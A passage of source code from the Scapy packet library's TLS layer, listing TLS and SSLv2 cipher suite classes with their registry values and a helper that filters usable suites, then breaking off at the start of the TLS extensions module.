= 0x0006 class TLS_RSA_WITH_IDEA_CBC_SHA(_GenericCipherSuite): val = 0x0007 class TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0008 class TLS_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0009 class TLS_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x000A class TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x000B class TLS_DH_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x000C class TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x000D class TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x000E class TLS_DH_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x000F class TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0010 class TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0011 class TLS_DHE_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0012 class TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0013 class TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0014 class TLS_DHE_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0015 class TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0016 class TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x0017 class TLS_DH_anon_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0018 class TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0019 class TLS_DH_anon_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x001A class TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x001B class TLS_KRB5_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x001E class TLS_KRB5_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x001F class TLS_KRB5_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0020 class TLS_KRB5_WITH_IDEA_CBC_SHA(_GenericCipherSuite): val = 0x0021 class TLS_KRB5_WITH_DES_CBC_MD5(_GenericCipherSuite): val = 0x0022 class TLS_KRB5_WITH_3DES_EDE_CBC_MD5(_GenericCipherSuite): val = 0x0023 class TLS_KRB5_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0024 class TLS_KRB5_WITH_IDEA_CBC_MD5(_GenericCipherSuite): val = 0x0025 class TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0026 class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(_GenericCipherSuite): val = 0x0027 class TLS_KRB5_EXPORT_WITH_RC4_40_SHA(_GenericCipherSuite): val = 0x0028 class TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(_GenericCipherSuite): val = 0x0029 class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): val = 0x002A class TLS_KRB5_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x002B class TLS_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002C class TLS_DHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002D class TLS_RSA_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002E class TLS_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x002F class TLS_DH_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0030 class TLS_DH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0031 class TLS_DHE_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0032 class TLS_DHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0033 class TLS_DH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0034 class TLS_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0035 class TLS_DH_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0036 class TLS_DH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0037 class TLS_DHE_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0038 class TLS_DHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0039 class TLS_DH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x003A class TLS_RSA_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x003B class TLS_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003C class TLS_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x003D class TLS_DH_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003E class TLS_DH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003F class TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x0040 class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0041 class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0042 class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0043 class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0044 class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0045 class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0046 class TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x0067 class TLS_DH_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x0068 class TLS_DH_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x0069 class TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006A class TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006B class TLS_DH_anon_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x006C class TLS_DH_anon_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006D class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0084 class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0085 class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0086 class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0087 class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0088 class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0089 class TLS_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x008A class TLS_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x008B class TLS_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x008C class TLS_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x008D class TLS_DHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x008E class TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x008F class TLS_DHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0090 class TLS_DHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0091 class TLS_RSA_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0092 class TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0093 class TLS_RSA_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0094 class TLS_RSA_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0095 class TLS_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0096 class TLS_DH_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0097 class TLS_DH_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0098 class TLS_DHE_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0099 class TLS_DHE_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x009A class TLS_DH_anon_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x009B class TLS_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x009C class TLS_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x009D class TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x009E class TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x009F class TLS_DH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A0 class TLS_DH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A1 class TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A2 class TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A3 class TLS_DH_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A4 class TLS_DH_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A5 class TLS_DH_anon_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A6 class TLS_DH_anon_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A7 class TLS_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A8 class TLS_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A9 class TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00AA class TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00AB class TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00AC class TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00AD class TLS_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00AE class TLS_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00AF class TLS_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B0 class TLS_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B1 class TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00B2 class TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00B3 class TLS_DHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B4 class TLS_DHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B5 class TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00B6 class TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00B7 class TLS_RSA_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B8 class TLS_RSA_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B9 class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BA class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BB class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BC class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BD class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BE class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BF class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C0 class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C1 class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C2 class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C3 class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C4 class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C5 # class TLS_EMPTY_RENEGOTIATION_INFO_CSV(_GenericCipherSuite): # val = 0x00FF # class TLS_FALLBACK_SCSV(_GenericCipherSuite): # val = 0x5600 class TLS_ECDH_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC001 class TLS_ECDH_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC002 class TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC003 class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC004 class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC005 class TLS_ECDHE_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC006 class TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC007 class TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC008 class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC009 class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC00A class TLS_ECDH_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC00B class TLS_ECDH_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC00C class TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC00D class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC00E class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC00F class TLS_ECDHE_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC010 class TLS_ECDHE_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC011 class TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC012 class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC013 class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC014 class TLS_ECDH_anon_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC015 class TLS_ECDH_anon_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC016 class TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC017 class TLS_ECDH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC018 class TLS_ECDH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC019 class TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01A class TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01B class TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01C class TLS_SRP_SHA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01D class TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01E class TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01F class TLS_SRP_SHA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC020 class TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC021 class TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC022 class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC023 class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC024 class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC025 class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC026 class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC027 class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC028 class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC029 class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC02A class TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02B class TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC02C class TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02D class TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC02E class TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02F class TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC030 class TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC031 class TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC032 class TLS_ECDHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC033 class TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC034 class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC035 class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC036 class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC037 class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC038 class TLS_ECDHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC039 class TLS_ECDHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0xC03A class TLS_ECDHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0xC03B # suites 0xC03C-C071 use ARIA class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC072 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC073 class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC074 class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC075 class TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC076 class TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC077 class TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC078 class TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC079 class TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07A class TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07B class TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07C class TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07D class TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07E class TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07F class TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC080 class TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC081 class TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC082 class TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC083 class TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC084 class TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC085 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC086 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC087 class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC088 class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC089 class TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08A class TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08B class TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08C class TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08D class TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08E class TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08F class TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC090 class TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC091 class TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC092 class TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC093 class TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC094 class TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC095 class TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC096 class TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC097 class TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC098 class TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC099 class TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC09A class TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC09B class TLS_RSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC09C class TLS_RSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC09D class TLS_DHE_RSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC09E class TLS_DHE_RSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC09F class TLS_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A0 class TLS_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A1 class TLS_DHE_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A2 class TLS_DHE_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A3 class TLS_PSK_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0A4 class TLS_PSK_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0A5 class TLS_DHE_PSK_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0A6 class TLS_DHE_PSK_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0A7 class TLS_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A8 class TLS_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A9 class TLS_DHE_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0AA class TLS_DHE_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0AB class TLS_ECDHE_ECDSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0AC class TLS_ECDHE_ECDSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0AD class TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0AE class TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0AF # the next 3 suites are from draft-agl-tls-chacha20poly1305-04 class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC13 class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC14 class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC15 class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCA8 class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCA9 class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAA class TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAB class TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAC class TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAD class TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAE class TLS_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x1301 class TLS_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x1302 class TLS_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0x1303 class TLS_AES_128_CCM_SHA256(_GenericCipherSuite): val = 0x1304 class TLS_AES_128_CCM_8_SHA256(_GenericCipherSuite): val = 0x1305 class SSL_CK_RC4_128_WITH_MD5(_GenericCipherSuite): val = 0x010080 class SSL_CK_RC4_128_EXPORT40_WITH_MD5(_GenericCipherSuite): val = 0x020080 class SSL_CK_RC2_128_CBC_WITH_MD5(_GenericCipherSuite): val = 0x030080 class SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(_GenericCipherSuite): val = 0x040080 class SSL_CK_IDEA_128_CBC_WITH_MD5(_GenericCipherSuite): val = 0x050080 class SSL_CK_DES_64_CBC_WITH_MD5(_GenericCipherSuite): val = 0x060040 class SSL_CK_DES_192_EDE3_CBC_WITH_MD5(_GenericCipherSuite): val = 0x0700C0 _tls_cipher_suites[0x00ff] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV" _tls_cipher_suites[0x5600] = "TLS_FALLBACK_SCSV" def get_usable_ciphersuites(li, kx): """ From a list of proposed ciphersuites, this function returns a list of usable cipher suites, i.e. for which key exchange, cipher and hash algorithms are known to be implemented and usable in current version of the TLS extension. The order of the cipher suites in the list returned by the function matches the one of the proposal. """ res = [] for c in li: if c in _tls_cipher_suites_cls: cipher = _tls_cipher_suites_cls[c] if cipher.usable: # XXX select among RSA and ECDSA cipher suites # according to the key(s) the server was given if (cipher.kx_alg.anonymous or kx in cipher.kx_alg.name or cipher.kx_alg.name == "TLS13"): res.append(c) return res ================================================ FILE: scapy/layers/tls/extensions.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury """ TLS handshake extensions. """ import os import struct from scapy.fields import ( ByteEnumField, ByteField, EnumField, FieldLenField, FieldListField, IntField, MayEnd, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, XStrLenField, ) from scapy.packet import Packet, Raw, Padding from scapy.layers.x509 import X509_Extensions from scapy.layers.tls.basefields import _tls_version from scapy.layers.tls.keyexchange import (SigAndHashAlgsLenField, SigAndHashAlgsField, _tls_hash_sig) from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.crypto.suites import _tls_cipher_suites from scapy.layers.tls.quic import _QuicTransportParametersField from scapy.themes import AnsiColorTheme from scapy.compat import raw from scapy.config import conf # Because ServerHello and HelloRetryRequest have the same # msg_type, the only way to distinguish these message is by # checking the random_bytes. If the random_bytes are equal to # SHA256('HelloRetryRequest') then we know this is a # HelloRetryRequest and the TLS_Ext_KeyShare 